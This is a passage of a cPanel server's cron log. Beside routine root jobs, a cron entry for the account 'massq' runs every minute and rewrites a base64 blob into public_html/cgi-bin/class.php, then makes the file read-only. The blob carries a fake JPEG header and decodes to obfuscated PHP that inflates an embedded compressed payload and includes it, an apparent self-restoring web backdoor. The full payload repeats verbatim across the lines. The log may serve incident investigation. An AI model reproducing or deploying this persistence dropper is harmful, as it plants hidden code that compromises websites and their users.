&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:54:01 server CROND[789]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:55:01 server CROND[1676]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 18:55:01 server CROND[1677]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 18:55:01 server CROND[1681]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:56:01 server CROND[2604]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:57:01 server CROND[3297]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:57:01 server CROND[3298]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 18:58:01 server CROND[4174]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:59:01 server CROND[5037]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:00:01 server CROND[5917]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 19:00:01 server CROND[5919]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 19:00:01 server CROND[5918]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:00:01 server CROND[5920]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 19:01:01 server CROND[6855]: (root) CMD (run-parts /etc/cron.hourly)
Nov 14 19:01:01 server CROND[6856]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:01:01 server run-parts(/etc/cron.hourly)[6855]: starting 0anacron
Nov 14 19:01:01 server run-parts(/etc/cron.hourly)[6921]: finished 0anacron
Nov 14 19:02:01 server CROND[7877]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:03:01 server CROND[8828]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:04:01 server CROND[9776]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:05:01 server CROND[10665]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 19:05:01 server CROND[10668]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 19:05:01 server CROND[10667]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 19:05:01 server CROND[10671]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
